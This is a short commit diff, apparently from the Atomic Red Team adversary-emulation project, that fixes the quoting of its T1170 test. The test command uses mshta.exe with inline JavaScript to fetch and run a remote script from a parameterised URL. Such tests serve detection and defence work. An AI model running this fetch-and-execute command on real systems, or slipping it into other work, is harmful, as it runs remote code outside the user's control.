Merge pull request #334 from redcanaryco/Fix-T1170

Fixed T1170 execution command

atomics/T1170/T1170.md

@@ -46,6 +46,6 @@ Test execution of a remote script using mshta.exe
 
 #### Run it with `command_prompt`!
 ```
-mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close();
+mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
 ```
 <br/>

atomics/T1170/T1170.yaml

@@ -16,4 +16,5 @@ atomic_tests:
   executor:
     name: command_prompt
     command: |
-      mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close();
+      mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
+